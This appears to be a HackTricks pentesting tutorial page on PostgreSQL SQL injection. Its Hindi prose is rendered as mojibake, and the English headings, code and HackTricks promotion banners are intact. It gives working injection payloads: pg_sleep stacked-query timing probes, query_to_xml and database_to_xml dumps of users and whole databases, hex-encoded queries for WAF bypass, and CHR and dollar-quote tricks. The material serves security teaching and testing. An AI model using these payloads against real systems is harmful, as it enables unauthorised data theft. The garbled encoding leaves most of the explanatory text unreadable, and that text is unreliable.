.. | ||
big-binary-files-upload-postgresql.md | ||
dblink-lo_import-data-exfiltration.md | ||
network-privesc-port-scanner-and-ntlm-chanllenge-response-disclosure.md | ||
pl-pgsql-password-bruteforce.md | ||
rce-with-postgresql-extensions.md | ||
rce-with-postgresql-languages.md | ||
README.md |
PostgreSQL injection
{% hint style="success" %}
Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Support HackTricks
- Check the subscription plans!
- Join the ЁЯТм Discord group or the telegram group or follow us on Twitter ЁЯРж @hacktricks_live.
- Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.
If you are interested in hacking career and hack the unhackable - we are hiring! (рдлреНрд▓реВрдПрдВрдЯ рдкреЛрд▓рд┐рд╢ рд▓рд┐рдЦрд┐рдд рдФрд░ рдореМрдЦрд┐рдХ рдЖрд╡рд╢реНрдпрдХ).
{% embed url="https://www.stmcyber.com/careers" %}
рдпрд╣ рдкреГрд╖реНрда рд╡рд┐рднрд┐рдиреНрди рддрдХрдиреАрдХреЛрдВ рдХреЛ рд╕рдордЭрд╛рдиреЗ рдХрд╛ рд▓рдХреНрд╖реНрдп рд░рдЦрддрд╛ рд╣реИ рдЬреЛ рдЖрдкрдХреЛ рдПрдХ рдкреЛрд╕реНрдЯрдЧреНрд░реЗрдПрд╕рдХреНрдпреВрдПрд▓ рдбреЗрдЯрд╛рдмреЗрд╕ рдореЗрдВ рдкрд╛рдП рдЧрдП SQL рдЗрдВрдЬреЗрдХреНрд╢рди рдХрд╛ рд╢реЛрд╖рдг рдХрд░рдиреЗ рдореЗрдВ рдорджрдж рдХрд░ рд╕рдХрддреА рд╣реИрдВ рдФрд░ рдЙрди рддрдХрдиреАрдХреЛрдВ рдХреЛ рдкреВрд░рд╛ рдХрд░ рд╕рдХрддреА рд╣реИрдВ рдЬреЛ рдЖрдк https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/PostgreSQL%20Injection.md рдкрд░ рдкрд╛ рд╕рдХрддреЗ рд╣реИрдВред
Network Interaction - Privilege Escalation, Port Scanner, NTLM challenge response disclosure & Exfiltration
PostgreSQL рдореЙрдбреНрдпреВрд▓ dblink
рдЕрдиреНрдп PostgreSQL рдЙрджрд╛рд╣рд░рдгреЛрдВ рд╕реЗ рдХрдиреЗрдХреНрдЯ рдХрд░рдиреЗ рдФрд░ TCP рдХрдиреЗрдХреНрд╢рди рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░рдиреЗ рдХреА рдХреНрд╖рдорддрд╛рдПрдБ рдкреНрд░рджрд╛рди рдХрд░рддрд╛ рд╣реИред рдпреЗ рд╕реБрд╡рд┐рдзрд╛рдПрдБ, COPY FROM
рдХрд╛рд░реНрдпрдХреНрд╖рдорддрд╛ рдХреЗ рд╕рд╛рде рдорд┐рд▓рдХрд░, рд╡рд┐рд╢реЗрд╖рд╛рдзрд┐рдХрд╛рд░ рд╡реГрджреНрдзрд┐, рдкреЛрд░реНрдЯ рд╕реНрдХреИрдирд┐рдВрдЧ, рдФрд░ NTLM рдЪреБрдиреМрддреА рдкреНрд░рддрд┐рдХреНрд░рд┐рдпрд╛ рдХреИрдкреНрдЪрд░ рдЬреИрд╕реА рдХреНрд░рд┐рдпрд╛рдУрдВ рдХреЛ рд╕рдХреНрд╖рдо рдмрдирд╛рддреА рд╣реИрдВред рдЗрди рд╣рдорд▓реЛрдВ рдХреЛ рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░рдиреЗ рдХреЗ рд╡рд┐рд╕реНрддреГрдд рддрд░реАрдХреЛрдВ рдХреЗ рд▓рд┐рдП рджреЗрдЦреЗрдВ рдХрд┐ рдЗрди рд╣рдорд▓реЛрдВ рдХреЛ рдХреИрд╕реЗ рдХрд░реЗрдВред
dblink рдФрд░ рдмрдбрд╝реЗ рдСрдмреНрдЬреЗрдХреНрдЯреНрд╕ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдбреЗрдЯрд╛ рдирд┐рдХрд╛рд╕реА рдХрд╛ рдЙрджрд╛рд╣рд░рдг
рдЖрдк рдЗрд╕ рдЙрджрд╛рд╣рд░рдг рдХреЛ рдкрдврд╝ рд╕рдХрддреЗ рд╣реИрдВ рдпрд╣ рджреЗрдЦрдиреЗ рдХреЗ рд▓рд┐рдП рдХрд┐ рдХреИрд╕реЗ рдмрдбрд╝реЗ рдСрдмреНрдЬреЗрдХреНрдЯреНрд╕ рдХреЗ рдЕрдВрджрд░ рдбреЗрдЯрд╛ рд▓реЛрдб рдХрд░реЗрдВ рдФрд░ рдлрд┐рд░ рдлрд╝рдВрдХреНрд╢рди dblink_connect
рдХреЗ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдирд╛рдо рдХреЗ рдЕрдВрджрд░ рдмрдбрд╝реЗ рдСрдмреНрдЬреЗрдХреНрдЯреНрд╕ рдХреА рд╕рд╛рдордЧреНрд░реА рдХреЛ рдирд┐рдХрд╛рд╕реА рдХрд░реЗрдВред
PostgreSQL рд╣рдорд▓реЗ: рдкрдврд╝реЗрдВ/рд▓рд┐рдЦреЗрдВ, RCE, рдкреНрд░рд┐рд╡реЗрд╕реНрдХ
рджреЗрдЦреЗрдВ рдХрд┐ PostgreSQL рд╕реЗ рд╣реЛрд╕реНрдЯ рдХреЛ рдХреИрд╕реЗ рд╕рдордЭреМрддрд╛ рдХрд░реЗрдВ рдФрд░ рд╡рд┐рд╢реЗрд╖рд╛рдзрд┐рдХрд╛рд░ рдХреИрд╕реЗ рдмрдврд╝рд╛рдПрдВ:
{% content-ref url="../../../network-services-pentesting/pentesting-postgresql.md" %} pentesting-postgresql.md {% endcontent-ref %}
WAF рдмрд╛рдпрдкрд╛рд╕
PostgreSQL рд╕реНрдЯреНрд░рд┐рдВрдЧ рдлрд╝рдВрдХреНрд╢рди
рд╕реНрдЯреНрд░рд┐рдВрдЧреНрд╕ рдХреЛ рдореИрдирд┐рдкреБрд▓реЗрдЯ рдХрд░рдирд╛ рдЖрдкрдХреЛ WAFs рдпрд╛ рдЕрдиреНрдп рдкреНрд░рддрд┐рдмрдВрдзреЛрдВ рдХреЛ рдмрд╛рдпрдкрд╛рд╕ рдХрд░рдиреЗ рдореЗрдВ рдорджрдж рдХрд░ рд╕рдХрддрд╛ рд╣реИред
рдЗрд╕ рдкреГрд╖реНрда рдкрд░рдЖрдк рдХреБрдЫ рдЙрдкрдпреЛрдЧреА рд╕реНрдЯреНрд░рд┐рдВрдЧ рдлрд╝рдВрдХреНрд╢рди рдкрд╛ рд╕рдХрддреЗ рд╣реИрдВред
рд╕реНрдЯреИрдХреНрдб рдХреНрд╡реЗрд░реАрдЬрд╝
рдпрд╛рдж рд░рдЦреЗрдВ рдХрд┐ PostgreSQL рд╕реНрдЯреИрдХреНрдб рдХреНрд╡реЗрд░реАрдЬрд╝ рдХрд╛ рд╕рдорд░реНрдерди рдХрд░рддрд╛ рд╣реИ, рд▓реЗрдХрд┐рди рдХрдИ рдПрдкреНрд▓рд┐рдХреЗрд╢рди рдПрдХ рддреНрд░реБрдЯрд┐ рдлреЗрдВрдХ рджреЗрдВрдЧреЗ рдпрджрд┐ 2 рдкреНрд░рддрд┐рдХреНрд░рд┐рдпрд╛рдПрдБ рд▓реМрдЯрд╛рдИ рдЬрд╛рддреА рд╣реИрдВ рдЬрдмрдХрд┐ рдХреЗрд╡рд▓ 1 рдХреА рдЕрдкреЗрдХреНрд╖рд╛ рдХреА рдЬрд╛рддреА рд╣реИред рд▓реЗрдХрд┐рди, рдЖрдк рдЕрднреА рднреА рдЯрд╛рдЗрдо рдЗрдВрдЬреЗрдХреНрд╢рди рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рд╕реНрдЯреИрдХреНрдб рдХреНрд╡реЗрд░реАрдЬрд╝ рдХрд╛ рджреБрд░реБрдкрдпреЛрдЧ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ:
id=1; select pg_sleep(10);-- -
1; SELECT case when (SELECT current_setting('is_superuser'))='on' then pg_sleep(10) end;-- -
XML рдЯреНрд░рд┐рдХреНрд╕
query_to_xml
рдпрд╣ рдлрд╝рдВрдХреНрд╢рди рдХреЗрд╡рд▓ рдПрдХ рдлрд╝рд╛рдЗрд▓ рдореЗрдВ XML рдкреНрд░рд╛рд░реВрдк рдореЗрдВ рд╕рднреА рдбреЗрдЯрд╛ рд▓реМрдЯрд╛рдПрдЧрд╛ред рдпрджрд┐ рдЖрдк рдХреЗрд╡рд▓ 1 рдкрдВрдХреНрддрд┐ рдореЗрдВ рдмрд╣реБрдд рд╕рд╛рд░рд╛ рдбреЗрдЯрд╛ рдбрдВрдк рдХрд░рдирд╛ рдЪрд╛рд╣рддреЗ рд╣реИрдВ, рддреЛ рдпрд╣ рдЖрджрд░реНрд╢ рд╣реИ:
SELECT query_to_xml('select * from pg_user',true,true,'');
database_to_xml
рдпрд╣ рдлрд╝рдВрдХреНрд╢рди рдкреВрд░реЗ рдбреЗрдЯрд╛рдмреЗрд╕ рдХреЛ XML рдкреНрд░рд╛рд░реВрдк рдореЗрдВ рдХреЗрд╡рд▓ 1 рдкрдВрдХреНрддрд┐ рдореЗрдВ рдбрдВрдк рдХрд░реЗрдЧрд╛ (рдпрджрд┐ рдбреЗрдЯрд╛рдмреЗрд╕ рдмрд╣реБрдд рдмрдбрд╝рд╛ рд╣реИ рддреЛ рд╕рд╛рд╡рдзрд╛рди рд░рд╣реЗрдВ рдХреНрдпреЛрдВрдХрд┐ рдЖрдк рдЗрд╕реЗ DoS рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ рдпрд╛ рдпрд╣рд╛рдВ рддрдХ рдХрд┐ рдЕрдкрдиреЗ рд╕реНрд╡рдпрдВ рдХреЗ рдХреНрд▓рд╛рдЗрдВрдЯ рдХреЛ рднреА):
SELECT database_to_xml(true,true,'');
Strings in Hex
рдпрджрд┐ рдЖрдк рдХреНрд╡реЗрд░реАрдЬрд╝ рдЪрд▓рд╛ рд╕рдХрддреЗ рд╣реИрдВ рдЬреЛ рдПрдХ рд╕реНрдЯреНрд░рд┐рдВрдЧ рдХреЗ рдЕрдВрджрд░ рдкрд╛рд╕ рдХреА рдЬрд╛рддреА рд╣реИрдВ (рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП query_to_xml
рдлрд╝рдВрдХреНрд╢рди рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ)ред рдЖрдк рд╕реНрдЯреНрд░рд┐рдВрдЧ рдХреЛ рд╣реЗрдХреНрд╕ рдХреЗ рд░реВрдк рдореЗрдВ рдкрд╛рд╕ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП convert_from рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ рдФрд░ рдЗрд╕ рддрд░рд╣ рдлрд╝рд┐рд▓реНрдЯрд░ рдХреЛ рдмрд╛рдпрдкрд╛рд╕ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ:
{% code overflow="wrap" %}
select encode('select cast(string_agg(table_name, '','') as int) from information_schema.tables', 'hex'), convert_from('\x73656c656374206361737428737472696e675f616767287461626c655f6e616d652c20272c272920617320696e74292066726f6d20696e666f726d6174696f6e5f736368656d612e7461626c6573', 'UTF8');
# Bypass via stacked queries + error based + query_to_xml with hex
;select query_to_xml(convert_from('\x73656c656374206361737428737472696e675f616767287461626c655f6e616d652c20272c272920617320696e74292066726f6d20696e666f726d6174696f6e5f736368656d612e7461626c6573','UTF8'),true,true,'')-- -h
# Bypass via boolean + error based + query_to_xml with hex
1 or '1' = (query_to_xml(convert_from('\x73656c656374206361737428737472696e675f616767287461626c655f6e616d652c20272c272920617320696e74292066726f6d20696e666f726d6174696f6e5f736368656d612e7461626c6573','UTF8'),true,true,''))::text-- -
{% endcode %}
рдирд┐рд╖рд┐рджреНрдз рдЙрджреНрдзрд░рдг
рдпрджрд┐ рдЖрдк рдЕрдкрдиреЗ рдкреЗрд▓реЛрдб рдХреЗ рд▓рд┐рдП рдЙрджреНрдзрд░рдг рдХрд╛ рдЙрдкрдпреЛрдЧ рдирд╣реАрдВ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ, рддреЛ рдЖрдк рдЗрд╕реЗ CHR
рдХреЗ рд╕рд╛рде рдмрд╛рдпрдкрд╛рд╕ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ рдмреБрдирд┐рдпрд╛рджреА рдзрд╛рд░рд╛рдУрдВ рдХреЗ рд▓рд┐рдП (рдЕрдХреНрд╖рд░ рд╕рдВрдпреЛрдЬрди рдХреЗрд╡рд▓ рдмреБрдирд┐рдпрд╛рджреА рдкреНрд░рд╢реНрдиреЛрдВ рдЬреИрд╕реЗ SELECT, INSERT, DELETE, рдЖрджрд┐ рдХреЗ рд▓рд┐рдП рдХрд╛рдо рдХрд░рддрд╛ рд╣реИред рдпрд╣ рд╕рднреА SQL рдмрдпрд╛рдиреЛрдВ рдХреЗ рд▓рд┐рдП рдХрд╛рдо рдирд╣реАрдВ рдХрд░рддрд╛):
SELECT CHR(65) || CHR(87) || CHR(65) || CHR(69);
рдпрд╛ $
рдХреЗ рд╕рд╛рдеред рдпреЗ рдХреНрд╡реЗрд░реА рд╕рдорд╛рди рдкрд░рд┐рдгрд╛рдо рд▓реМрдЯрд╛рддреА рд╣реИрдВ:
SELECT 'hacktricks';
SELECT $$hacktricks$$;
SELECT $TAG$hacktricks$TAG$;
рдпрджрд┐ рдЖрдк рд╣реИрдХрд┐рдВрдЧ рдХрд░рд┐рдпрд░ рдореЗрдВ рд░реБрдЪрд┐ рд░рдЦрддреЗ рд╣реИрдВ рдФрд░ рдЕрдЪреВрдХ рдХреЛ рд╣реИрдХ рдХрд░рдирд╛ рдЪрд╛рд╣рддреЗ рд╣реИрдВ - рд╣рдо рднрд░реНрддреА рдХрд░ рд░рд╣реЗ рд╣реИрдВ! (рдлреНрд▓реВрдПрдВрдЯ рдкреЛрд▓рд┐рд╢ рд▓рд┐рдЦрд┐рдд рдФрд░ рдореМрдЦрд┐рдХ рдЖрд╡рд╢реНрдпрдХ рд╣реИ).
{% embed url="https://www.stmcyber.com/careers" %}
{% hint style="success" %}
AWS рд╣реИрдХрд┐рдВрдЧ рд╕реАрдЦреЗрдВ рдФрд░ рдЕрднреНрдпрд╛рд╕ рдХрд░реЗрдВ:HackTricks Training AWS Red Team Expert (ARTE)
GCP рд╣реИрдХрд┐рдВрдЧ рд╕реАрдЦреЗрдВ рдФрд░ рдЕрднреНрдпрд╛рд╕ рдХрд░реЗрдВ: HackTricks Training GCP Red Team Expert (GRTE)
HackTricks рдХрд╛ рд╕рдорд░реНрдерди рдХрд░реЗрдВ
- рд╕рджрд╕реНрдпрддрд╛ рдпреЛрдЬрдирд╛рдПрдБ рджреЗрдЦреЗрдВ!
- рд╣рдорд╕реЗ рдЬреБрдбрд╝реЗрдВ ЁЯТм Discord рд╕рдореВрд╣ рдпрд╛ рдЯреЗрд▓реАрдЧреНрд░рд╛рдо рд╕рдореВрд╣ рдпрд╛ рд╣рдореЗрдВ Twitter ЁЯРж @hacktricks_live** рдкрд░ рдлреЙрд▓реЛ рдХрд░реЗрдВред**
- рд╣реИрдХрд┐рдВрдЧ рдЯреНрд░рд┐рдХреНрд╕ рд╕рд╛рдЭрд╛ рдХрд░реЗрдВ рдФрд░ HackTricks рдФрд░ HackTricks Cloud рдЧрд┐рдЯрд╣рдм рд░рд┐рдкреЛрдЬрд┐рдЯрд░реА рдореЗрдВ PR рд╕рдмрдорд┐рдЯ рдХрд░реЗрдВред